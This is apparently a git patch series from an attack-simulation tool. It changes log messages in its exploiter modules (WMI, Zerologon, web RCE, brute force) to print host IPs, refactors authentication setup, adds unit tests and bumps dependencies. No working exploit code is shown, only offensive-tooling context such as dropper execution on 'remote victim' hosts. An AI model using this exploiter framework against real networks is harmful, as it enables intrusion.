uploading file into victim {self.host}: ({exc})" + error_message = f"Error uploading file into victim {self.host.ip}: ({exc})" self._publish_propagation_event(timestamp, False, error_message=error_message) self.exploit_result.error_message = error_message return ScanStatus.SCANNED diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index c4f1d06476d..3116e76b054 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -83,14 +83,14 @@ def exploit_host( try: self._exploit(exploit_client, host, interrupt) except Exception as err: - logger.exception(f"Failed to exploit {host}: {err}") + logger.exception(f"Failed to exploit {host.ip}: {err}") return ExploiterResultData(exploitation_success=False, propagation_success=False) try: self._propagate(exploit_client, host, interrupt) return ExploiterResultData(exploitation_success=True, propagation_success=True) except Exception as err: - logger.exception(f"Failed to propagate to {host}: {err}") + logger.exception(f"Failed to propagate to {host.ip}: {err}") return ExploiterResultData(exploitation_success=True, propagation_success=False) def _exploit(self, exploit_client: IRemoteAccessClient, host: TargetHost, interrupt: Event): diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index a92739711fa..442d029b052 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -238,7 +238,7 @@ def get_ports_w( """ ports = WebRCE.get_open_service_ports(self.host, ports, services) if not ports: - logger.info("All default web ports are closed on %r, skipping", str(self.host)) + logger.info(f"All default web ports are closed on {self.host.ip}, skipping") return False else: return ports diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 920373c1c41..2865cd72687 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -50,7 +50,7 @@ def _exploit_host(self) -> ExploiterResultData: for user, password, lm_hash, ntlm_hash in intp_creds: creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) - logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") + logger.debug(f"Attempting to connect to {self.host.ip} using WMI with {creds_for_log}") wmi_connection = WmiTools.WmiConnection() @@ -66,26 +66,26 @@ def _exploit_host(self) -> ExploiterResultData: ) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - error_message = f"Failed connecting to {self.host} using WMI" + error_message = f"Failed connecting to {self.host.ip} using WMI" logger.debug(error_message) self._publish_exploitation_event(timestamp, False, error_message=error_message) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - error_message = f"Failed connecting to {self.host} using WMI" + error_message = f"Failed connecting to {self.host.ip} using WMI" logger.debug(error_message) self._publish_exploitation_event(timestamp, False, error_message=error_message) continue except socket.error: - error_message = f"Network error in WMI connection to {self.host}" + error_message = f"Network error in WMI connection to {self.host.ip}" logger.debug(error_message) self._publish_exploitation_event(timestamp, False, error_message=error_message) return self.exploit_result except Exception as exc: error_message = ( - f"Unknown WMI connection error to {self.host}: " + f"Unknown WMI connection error to {self.host.ip}: " f"{exc} {traceback.format_exc()}" ) logger.debug(error_message) @@ -150,7 +150,7 @@ def _exploit_host(self) -> ExploiterResultData: if (0 != result.ProcessId) and (not result.ReturnValue): logger.info( - f"Executed dropper '{remote_full_path}' on remote victim {self.host} " + f"Executed dropper '{remote_full_path}' on remote victim {self.host.ip} " f"(pid={result.ProcessId}, cmdline={cmdline})" ) @@ -159,7 +159,7 @@ def _exploit_host(self) -> ExploiterResultData: self._publish_propagation_event(propagation_timestamp, True) else: error_message = ( - f"Error executing dropper '{remote_full_path}' on remote victim {self.host} " + f"Error executing dropper '{remote_full_path}' on remote victim {self.host.ip} " f"(pid={result.ProcessId}, exit_code={result.ReturnValue}, cmdline={cmdline})" ) logger.debug(error_message) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 267f47ec0ad..09375100d6a 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -140,7 +140,7 @@ def _zero_authenticate(self) -> Tuple[bool, Optional[rpcrt.DCERPC_v5], float]: error_message = "Failed to authenticate with domain controller" self._publish_exploitation_event(timestamp, False, error_message=error_message) except Exception as err: - error_message = f"Error occured while authenticating to {self.host}: {err}" + error_message = f"Error occured while authenticating to {self.host.ip}: {err}" logger.info(error_message) self._publish_exploitation_event(timestamp, False, error_message=error_message) return False, None, timestamp diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 3c471fff01c..c73a47d0f02 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -224,13 +224,14 @@ def _process_exploit_attempts( self, exploiter_name: str, host: TargetHost, result: ExploiterResultData ): if result.propagation_success: - logger.info(f"Successfully propagated to {host} using {exploiter_name}") + logger.info(f"Successfully propagated to {host.ip} using {exploiter_name}") elif result.exploitation_success: logger.info( - f"Successfully exploited (but did not propagate to) {host} using {exploiter_name}" + f"Successfully exploited (but did not propagate to) {host.ip} using " + f"{exploiter_name}" ) else: logger.info( - f"Failed to exploit or propagate to {host} using {exploiter_name}: " + f"Failed to exploit or propagate to {host.ip} using {exploiter_name}: " f"{result.error_message}" ) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 32a39633a8d..10cac883715 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -85,7 +85,7 @@ def exploit_host( ) -> ExploiterResultData: if self._plugin_compatability_verifier.verify_exploiter_compatibility(name, host) is False: raise IncompatibleOperatingSystemError( - f'The exploiter, "{name}", is not compatible with the operating system on {host}' + f'The exploiter, "{name}", is not compatible with the operating system on {host.ip}' ) exploiter = self._plugin_registry.get_plugin(AgentPluginType.EXPLOITER, name) exploiter_result_data = exploiter.run( diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index 3184474c756..4791b7d7271 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -169,7 +169,7 @@ def exploit_host( options: Dict, interrupt: Event, ) -> ExploiterResultData: - logger.debug(f"exploit_hosts({name}, {host}, {options})") + logger.debug(f"exploit_hosts({name}, {host.ip}, {options})") info_wmi = { "display_name": "WMI", "started": "2021-11-25T15:57:06.307696", From 7c48398ea49ca9ccb63dc21c519d56c3e2638686 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 29 Mar 2023 19:42:34 +0000 Subject: [PATCH 0971/1338] UT: AuthenitcationFacade.revoke_all_tokens_for_all_users() --- .../test_authentication_service.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 291d8f329c7..80e641b5b87 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -14,6 +14,11 @@ USERNAME = "user1" PASSWORD = "test" PASSWORD_HASH = "$2b$12$yQzymz55fRvm8rApg7erluIvIAKSFSDrNIOIrOlxC4sXsDSkeu9z2" +USERS = [ + User(username="user1", password="test1", fs_uniquifier="a"), + User(username="user2", password="test2", fs_uniquifier="b"), + User(username="user3", password="test3", fs_uniquifier="c"), +] # Some tests have these fixtures as arguments even though `autouse=True`, because @@ -41,6 +46,7 @@ def authentication_facade( mock_flask_app, mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, + mock_user_datastore: UserDatastore, ) -> AuthenticationFacade: return AuthenticationFacade( mock_repository_encryptor, mock_island_event_queue, mock_user_datastore @@ -89,3 +95,14 @@ def test_handle_sucessful_login( mock_repository_encryptor.unlock.assert_called_once() assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD + + +def test_revoke_all_tokens_for_all_users( + mock_user_datastore: UserDatastore, + authentication_facade: AuthenticationFacade, +): + [user.save() for user in USERS] + authentication_facade.revoke_all_tokens_for_all_users() + + assert mock_user_datastore.set_uniquifier.call_count == len(USERS) + [mock_user_datastore.set_uniquifier.assert_any_call(user) for user in USERS] From 31cb774765c07758c1de56c5cc5f335feb56cc1b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 29 Mar 2023 20:13:50 +0000 Subject: [PATCH 0972/1338] Island: Extract configure_flask_security Extract configure_flask_security from setup_authentication --- monkey/monkey_island/cc/app.py | 6 +++++- .../cc/services/authentication_service/setup.py | 6 +----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 308204d94db..021ff7777c2 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -35,6 +35,9 @@ from monkey_island.cc.resources.version import Version from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources, setup_authentication +from monkey_island.cc.services.authentication_service.configure_flask_security import ( + configure_flask_security, +) from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" @@ -141,7 +144,8 @@ def init_app( init_app_url_rules(app) flask_resource_manager = FlaskDIWrapper(api, container) - setup_authentication(app, api, data_dir, container) + datastore = configure_flask_security(app, data_dir) + setup_authentication(api, datastore, container) init_api_resources(flask_resource_manager) return app diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index dbf8581f3ec..af77b07db73 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -1,5 +1,3 @@ -from pathlib import Path - from flask_security import UserDatastore from common import DIContainer @@ -8,11 +6,9 @@ from . import register_resources from .authentication_facade import AuthenticationFacade -from .configure_flask_security import configure_flask_security -def setup_authentication(app, api, data_dir: Path, container: DIContainer): - datastore = configure_flask_security(app, data_dir) +def setup_authentication(api, datastore: UserDatastore, container: DIContainer): authentication_facade = _build_authentication_facade(container, datastore) register_resources(api, authentication_facade) # revoke all old tokens so that the user has to log in again on startup From 0dcc7967cd395fbb34803245895f421ced2f18c2 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 29 Mar 2023 20:22:34 +0000 Subject: [PATCH 0973/1338] Island: Extract AuthenticationFacade construction Extract AuthenticationFacade construction from setup_authentication --- monkey/monkey_island/cc/app.py | 15 ++++++++++++++- .../cc/services/authentication_service/setup.py | 15 +-------------- 2 files changed, 15 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 021ff7777c2..78b1154f6f9 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -3,9 +3,11 @@ import flask_restful from flask import Flask, Response, send_from_directory +from flask_security import UserDatastore from werkzeug.exceptions import NotFound from common import DIContainer +from monkey_island.cc.event_queue import IIslandEventQueue from monkey_island.cc.flask_utils import FlaskDIWrapper from monkey_island.cc.resources import ( AgentBinaries, @@ -34,7 +36,11 @@ from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.version import Version from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services import register_agent_configuration_resources, setup_authentication +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, +) from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) @@ -145,7 +151,14 @@ def init_app( flask_resource_manager = FlaskDIWrapper(api, container) datastore = configure_flask_security(app, data_dir) - setup_authentication(api, datastore, container) + authentication_facade = _build_authentication_facade(container, datastore) + setup_authentication(api, authentication_facade) init_api_resources(flask_resource_manager) return app + + +def _build_authentication_facade(container: DIContainer, user_datastore: UserDatastore): + repository_encryptor = container.resolve(ILockableEncryptor) + island_event_queue = container.resolve(IIslandEventQueue) + return AuthenticationFacade(repository_encryptor, island_event_queue, user_datastore) diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index af77b07db73..5add47ac9b3 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -1,21 +1,8 @@ -from flask_security import UserDatastore - -from common import DIContainer -from monkey_island.cc.event_queue import IIslandEventQueue -from monkey_island.cc.server_utils.encryption import ILockableEncryptor - from . import register_resources from .authentication_facade import AuthenticationFacade -def setup_authentication(api, datastore: UserDatastore, container: DIContainer): - authentication_facade = _build_authentication_facade(container, datastore) +def setup_authentication(api, authentication_facade: AuthenticationFacade): register_resources(api, authentication_facade) # revoke all old tokens so that the user has to log in again on startup authentication_facade.revoke_all_tokens_for_all_users() - - -def _build_authentication_facade(container: DIContainer, user_datastore: UserDatastore): - repository_encryptor = container.resolve(ILockableEncryptor) - island_event_queue = container.resolve(IIslandEventQueue) - return AuthenticationFacade(repository_encryptor, island_event_queue, user_datastore) From 7d9350b82a0d88b499610b0a05b3a5cc13631a5c Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 29 Mar 2023 20:29:13 +0000 Subject: [PATCH 0974/1338] UT: Test tokens revoked from setup_authentication --- .../test_authentication_service.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 80e641b5b87..b3c5e573896 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -2,6 +2,7 @@ import pytest from flask_security import UserDatastore +from tests.common import StubDIContainer from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode @@ -9,6 +10,7 @@ from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) +from monkey_island.cc.services.authentication_service.setup import setup_authentication from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" @@ -106,3 +108,16 @@ def test_revoke_all_tokens_for_all_users( assert mock_user_datastore.set_uniquifier.call_count == len(USERS) [mock_user_datastore.set_uniquifier.assert_any_call(user) for user in USERS] + + +def test_setup_authentication__revokes_tokens( + mock_island_event_queue: IIslandEventQueue, + mock_repository_encryptor: ILockableEncryptor, + mock_authentication_facade: AuthenticationFacade, +): + container = StubDIContainer() + container.register_instance(ILockableEncryptor, mock_repository_encryptor) + container.register_instance(IIslandEventQueue, mock_island_event_queue) + setup_authentication(MagicMock(), mock_authentication_facade) + + assert mock_authentication_facade.revoke_all_tokens_for_all_users.called From ff98c9964018ad1d0be3ad4c6d7b450af718c687 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 29 Mar 2023 14:04:54 +0300 Subject: [PATCH 0975/1338] Island: Add pytest-freezer dependency This dependency adds a fixture that allows us to mock current time. This is useful in refresh token tests for example, to make sure that outdated tokens are invalid --- monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/Pipfile.lock | 166 +++++++++++++++++------------- 2 files changed, 94 insertions(+), 73 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 5d9d75ea95e..9fb367c9158 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -59,6 +59,7 @@ mypy = "*" types-pytz = "*" types-pyyaml = "*" pytest-xdist = "*" +pytest-freezer = "*" [requires] python_version = "3.11" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index e6af7f19a5c..342606584f2 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9ce35b412f819245277306e9ee0cdeb4e81464eae4d1ec833ac816db421d2f3b" + "sha256": "9fefb12ab01f62044888a67ec74a455545d439a8aa288c355da0ed91d0f42113" }, "pipfile-spec": 6, "requires": { @@ -83,19 +83,19 @@ }, "boto3": { "hashes": [ - "sha256:19762b6a1adbe1963e26b8280211ca148017c970a2e1386312a9fc8a0a17dbd5", - "sha256:367a73c1ff04517849d8c4177fd775da2e258a3912ff6a497be258c30f509046" + "sha256:5f5279a63b359ba8889e9a81b319e745b14216608ffb5a39fcbf269d1af1ea83", + "sha256:670ae4d1875a2162e11c6e941888817c3e9cf1bb9a3335b3588d805b7d24da31" ], "index": "pypi", - "version": "==1.26.97" + "version": "==1.26.101" }, "botocore": { "hashes": [ - "sha256:0df677eb2bef3ba18ac69e007633559b4426df310eee99df9882437b5faf498a", - "sha256:176740221714c0f031c2cd773879df096dbc0f977c63b3e2ed6a956205f02e82" + "sha256:60c7a7bf8e2a288735e507007a6769be03dc24815f7dc5c7b59b12743f4a31cf", + "sha256:7bb60d9d4c49500df55dfb6005c16002703333ff5f69dada565167c8d493dfd5" ], "index": "pypi", - "version": "==1.29.97" + "version": "==1.29.101" }, "certifi": { "hashes": [ @@ -274,32 +274,28 @@ }, "cryptography": { "hashes": [ - "sha256:103e8f7155f3ce2ffa0049fe60169878d47a4364b277906386f8de21c9234aa1", - "sha256:23df8ca3f24699167daf3e23e51f7ba7334d504af63a94af468f468b975b7dd7", - "sha256:2725672bb53bb92dc7b4150d233cd4b8c59615cd8288d495eaa86db00d4e5c06", - "sha256:30b1d1bfd00f6fc80d11300a29f1d8ab2b8d9febb6ed4a38a76880ec564fae84", - "sha256:35d658536b0a4117c885728d1a7032bdc9a5974722ae298d6c533755a6ee3915", - "sha256:50cadb9b2f961757e712a9737ef33d89b8190c3ea34d0fb6675e00edbe35d074", - "sha256:5f8c682e736513db7d04349b4f6693690170f95aac449c56f97415c6980edef5", - "sha256:6236a9610c912b129610eb1a274bdc1350b5df834d124fa84729ebeaf7da42c3", - "sha256:788b3921d763ee35dfdb04248d0e3de11e3ca8eb22e2e48fef880c42e1f3c8f9", - "sha256:8bc0008ef798231fac03fe7d26e82d601d15bd16f3afaad1c6113771566570f3", - "sha256:8f35c17bd4faed2bc7797d2a66cbb4f986242ce2e30340ab832e5d99ae60e011", - "sha256:b49a88ff802e1993b7f749b1eeb31134f03c8d5c956e3c125c75558955cda536", - "sha256:bc0521cce2c1d541634b19f3ac661d7a64f9555135e9d8af3980965be717fd4a", - "sha256:bc5b871e977c8ee5a1bbc42fa8d19bcc08baf0c51cbf1586b0e87a2694dde42f", - "sha256:c43ac224aabcbf83a947eeb8b17eaf1547bce3767ee2d70093b461f31729a480", - "sha256:d15809e0dbdad486f4ad0979753518f47980020b7a34e9fc56e8be4f60702fac", - "sha256:d7d84a512a59f4412ca8549b01f94be4161c94efc598bf09d027d67826beddc0", - "sha256:e029b844c21116564b8b61216befabca4b500e6816fa9f0ba49527653cae2108", - "sha256:e8a0772016feeb106efd28d4a328e77dc2edae84dfbac06061319fdb669ff828", - "sha256:e944fe07b6f229f4c1a06a7ef906a19652bdd9fd54c761b0ff87e83ae7a30354", - "sha256:eb40fe69cfc6f5cdab9a5ebd022131ba21453cf7b8a7fd3631f45bbf52bed612", - "sha256:fa507318e427169ade4e9eccef39e9011cdc19534f55ca2f36ec3f388c1f70f3", - "sha256:ffd394c7896ed7821a6d13b24657c6a34b6e2650bd84ae063cf11ccffa4f1a97" + "sha256:0a4e3406cfed6b1f6d6e87ed243363652b2586b2d917b0609ca4f97072994405", + "sha256:1e0af458515d5e4028aad75f3bb3fe7a31e46ad920648cd59b64d3da842e4356", + "sha256:2803f2f8b1e95f614419926c7e6f55d828afc614ca5ed61543877ae668cc3472", + "sha256:28d63d75bf7ae4045b10de5413fb1d6338616e79015999ad9cf6fc538f772d41", + "sha256:32057d3d0ab7d4453778367ca43e99ddb711770477c4f072a51b3ca69602780a", + "sha256:3a4805a4ca729d65570a1b7cac84eac1e431085d40387b7d3bbaa47e39890b88", + "sha256:63dac2d25c47f12a7b8aa60e528bfb3c51c5a6c5a9f7c86987909c6c79765554", + "sha256:650883cc064297ef3676b1db1b7b1df6081794c4ada96fa457253c4cc40f97db", + "sha256:6f2bbd72f717ce33100e6467572abaedc61f1acb87b8d546001328d7f466b778", + "sha256:7c872413353c70e0263a9368c4993710070e70ab3e5318d85510cc91cce77e7c", + "sha256:918cb89086c7d98b1b86b9fdb70c712e5a9325ba6f7d7cfb509e784e0cfc6917", + "sha256:9618a87212cb5200500e304e43691111570e1f10ec3f35569fdfcd17e28fd797", + "sha256:a805a7bce4a77d51696410005b3e85ae2839bad9aa38894afc0aa99d8e0c3160", + "sha256:cc3a621076d824d75ab1e1e530e66e7e8564e357dd723f2533225d40fe35c60c", + "sha256:cd033d74067d8928ef00a6b1327c8ea0452523967ca4463666eeba65ca350d4c", + "sha256:cf91e428c51ef692b82ce786583e214f58392399cf65c341bc7301d096fa3ba2", + "sha256:d36bbeb99704aabefdca5aee4eba04455d7a27ceabd16f3b3ba9bdcc31da86c4", + "sha256:d8aa3609d337ad85e4eb9bb0f8bcf6e4409bfb86e706efa9a027912169e89122", + "sha256:f5d7b79fa56bc29580faafc2ff736ce05ba31feaa9d4735048b0de7d9ceb2b94" ], "index": "pypi", - "version": "==39.0.2" + "version": "==40.0.1" }, "dnspython": { "hashes": [ @@ -311,19 +307,19 @@ }, "dpath": { "hashes": [ - "sha256:3380a77d0db4abf104125860ff6eb4bd07c97c65b81aad42a609717089a1bed0", - "sha256:3a4f6cc07e3a1b34bc73baa3a6854ee0a48fb2cf18a8c9b1911b66fd72afaa85" + "sha256:559edcbfc806ca2f9ad9e63566f22e5d41c000e4215bbce9dbf1ca4c859f5e0b", + "sha256:ccd964db839baad4aa820612b4b8731b09f40a245d401b723156ce4ef45b22b7" ], "index": "pypi", - "version": "==2.1.4" + "version": "==2.1.5" }, "egg-timer": { "hashes": [ - "sha256:e56a28a05a765aa332be477fac56bbaf012a216b71f4ef5dcb4e2c8b9033b328", - "sha256:ee9d886857dc25329909d344534c34f1429824e57a587cff1e4b72483c70757b" + "sha256:8e4155914ceb82c8b7248a0fdcdd0268fa841db5fd8666629dabed7fb937ab76", + "sha256:e476d57cca2ae85d502279ca0b8e84d1b47e241a56b888e18c944d780baf48db" ], "index": "pypi", - "version": "==1.1.1" + "version": "==1.2.0" }, "email-validator": { "hashes": [ @@ -860,31 +856,31 @@ }, "pytz": { "hashes": [ - "sha256:01a0681c4b9684a28304615eba55d1ab31ae00bf68ec157ec3708a8182dbbcd0", - "sha256:78f4f37d8198e0627c5f1143240bb0206b8691d8d7ac6d78fee88b78733f8c4a" + "sha256:1d8ce29db189191fb55338ee6d0387d82ab59f3d00eac103412d64e0ebd0c588", + "sha256:a151b3abb88eda1d4e34a9814df37de2a80e301e68ba0fd856fb9b46bfbbbffb" ], - "version": "==2022.7.1" + "version": "==2023.3" }, "pywin32": { "hashes": [ - "sha256:109f98980bfb27e78f4df8a51a8198e10b0f347257d1e265bb1a32993d0c973d", - "sha256:13362cc5aa93c2beaf489c9c9017c793722aeb56d3e5166dadd5ef82da021fe1", - "sha256:19ca459cd2e66c0e2cc9a09d589f71d827f26d47fe4a9d09175f6aa0256b51c2", - "sha256:326f42ab4cfff56e77e3e595aeaf6c216712bbdd91e464d167c6434b28d65990", - "sha256:421f6cd86e84bbb696d54563c48014b12a23ef95a14e0bdba526be756d89f116", - "sha256:48d8b1659284f3c17b68587af047d110d8c44837736b8932c034091683e05863", - "sha256:4ecd404b2c6eceaca52f8b2e3e91b2187850a1ad3f8b746d0796a98b4cea04db", - "sha256:50768c6b7c3f0b38b7fb14dd4104da93ebced5f1a50dc0e834594bff6fbe1271", - "sha256:56d7a9c6e1a6835f521788f53b5af7912090674bb84ef5611663ee1595860fc7", - "sha256:73e819c6bed89f44ff1d690498c0a811948f73777e5f97c494c152b850fad478", - "sha256:742eb905ce2187133a29365b428e6c3b9001d79accdc30aa8969afba1d8470f4", - "sha256:9d968c677ac4d5cbdaa62fd3014ab241718e619d8e36ef8e11fb930515a1e918", - "sha256:9dd98384da775afa009bc04863426cb30596fd78c6f8e4e2e5bbf4edf8029504", - "sha256:a55db448124d1c1484df22fa8bbcbc45c64da5e6eae74ab095b9ea62e6d00496" + "sha256:06d3420a5155ba65f0b72f2699b5bacf3109f36acbe8923765c22938a69dfc8d", + "sha256:1c73ea9a0d2283d889001998059f5eaaba3b6238f767c9cf2833b13e6a685f65", + "sha256:37257794c1ad39ee9be652da0462dc2e394c8159dfd913a8a4e8eb6fd346da0e", + "sha256:383229d515657f4e3ed1343da8be101000562bf514591ff383ae940cad65458b", + "sha256:39b61c15272833b5c329a2989999dcae836b1eed650252ab1b7bfbe1d59f30f4", + "sha256:5821ec52f6d321aa59e2db7e0a35b997de60c201943557d108af9d4ae1ec7040", + "sha256:70dba0c913d19f942a2db25217d9a1b726c278f483a919f1abfed79c9cf64d3a", + "sha256:72c5f621542d7bdd4fdb716227be0dd3f8565c11b280be6315b06ace35487d36", + "sha256:84f4471dbca1887ea3803d8848a1616429ac94a4a8d05f4bc9c5dcfd42ca99c8", + "sha256:a7639f51c184c0272e93f244eb24dafca9b1855707d94c192d4a0b4c01e1100e", + "sha256:e25fd5b485b55ac9c057f67d94bc203f3f6595078d1fb3b458c9c28b7153a802", + "sha256:e4c092e2589b5cf0d365849e73e02c391c1349958c5ac3e9d5ccb9a28e017b3a", + "sha256:e65028133d15b64d2ed8f06dd9fbc268352478d4f9289e69c190ecd6818b6407", + "sha256:e8ac1ae3601bee6ca9f7cb4b5363bf1c0badb935ef243c4733ff9a393b1690c0" ], "index": "pypi", "markers": "sys_platform == 'win32'", - "version": "==305" + "version": "==306" }, "pywin32-ctypes": { "hashes": [ @@ -990,11 +986,11 @@ }, "setuptools": { "hashes": [ - "sha256:2ee892cd5f29f3373097f5a814697e397cf3ce313616df0af11231e2ad118077", - "sha256:b78aaa36f6b90a074c1fa651168723acbf45d14cb1196b6f02c0fd07f17623b2" + "sha256:257de92a9d50a60b8e22abfcbb771571fde0dbf3ec234463212027a4eeecbe9a", + "sha256:e728ca814a823bf7bf60162daf9db95b93d532948c4c0bea762ce62f60189078" ], "markers": "python_version >= '3.7'", - "version": "==67.6.0" + "version": "==67.6.1" }, "six": { "hashes": [ @@ -1344,11 +1340,11 @@ }, "filelock": { "hashes": [ - "sha256:75997740323c5f12e18f10b494bc11c03e42843129f980f17c04352cc7b09d40", - "sha256:eb8f0f2d37ed68223ea63e3bddf2fac99667e4362c88b3f762e434d160190d18" + "sha256:892be14aa8efc01673b5ed6589dbccb95f9a8596f0507e232626155495c18105", + "sha256:bde48477b15fde2c7e5a0713cbe72721cb5a5ad32ee0b8f419907960b9d75536" ], "markers": "python_version >= '3.7'", - "version": "==3.10.2" + "version": "==3.10.7" }, "flake8": { "hashes": [ @@ -1358,6 +1354,14 @@ "index": "pypi", "version": "==5.0.4" }, + "freezegun": { + "hashes": [ + "sha256:cd22d1ba06941384410cd967d8a99d5ae2442f57dfafeff2fda5de8dc5c05446", + "sha256:ea1b963b993cb9ea195adbd893a48d573fda951b0da64f60883d7e988b606c9f" + ], + "index": "pypi", + "version": "==1.2.2" + }, "idna": { "hashes": [ "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4", @@ -1592,6 +1596,14 @@ "index": "pypi", "version": "==4.0.0" }, + "pytest-freezer": { + "hashes": [ + "sha256:8e88cd571d3ba10dd9e0cc09897eb01c32a37bef5ca4ff7c4ea8598c91aa6d96", + "sha256:ca549c30a7e12bc7b242978b6fa0bb91e73cd1bd7d5b2bb658f0f9d7f1694cac" + ], + "index": "pypi", + "version": "==0.4.6" + }, "pytest-xdist": { "hashes": [ "sha256:1849bd98d8b242b948e472db7478e090bf3361912a8fed87992ed94085f54727", @@ -1600,6 +1612,14 @@ "index": "pypi", "version": "==3.2.1" }, + "python-dateutil": { + "hashes": [ + "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86", + "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9" + ], + "index": "pypi", + "version": "==2.8.2" + }, "requests": { "hashes": [ "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa", @@ -1624,11 +1644,11 @@ }, "setuptools": { "hashes": [ - "sha256:2ee892cd5f29f3373097f5a814697e397cf3ce313616df0af11231e2ad118077", - "sha256:b78aaa36f6b90a074c1fa651168723acbf45d14cb1196b6f02c0fd07f17623b2" + "sha256:257de92a9d50a60b8e22abfcbb771571fde0dbf3ec234463212027a4eeecbe9a", + "sha256:e728ca814a823bf7bf60162daf9db95b93d532948c4c0bea762ce62f60189078" ], "markers": "python_version >= '3.7'", - "version": "==67.6.0" + "version": "==67.6.1" }, "six": { "hashes": [ @@ -1743,27 +1763,27 @@ }, "types-python-dateutil": { "hashes": [ - "sha256:c640f2eb71b4b94a9d3bfda4c04250d29a24e51b8bad6e12fddec0cf6e96f7a3", - "sha256:fbecd02c19cac383bf4a16248d45ffcff17c93a04c0794be5f95d42c6aa5de39" + "sha256:357553f8056cfbb8ce8ea0ca4a6a3480268596748360df73a94c2b8c113a5b06", + "sha256:de66222c54318c2e05ceb4956976d16696240a45fc2c98e54bfe9a56ce5e1eff" ], "index": 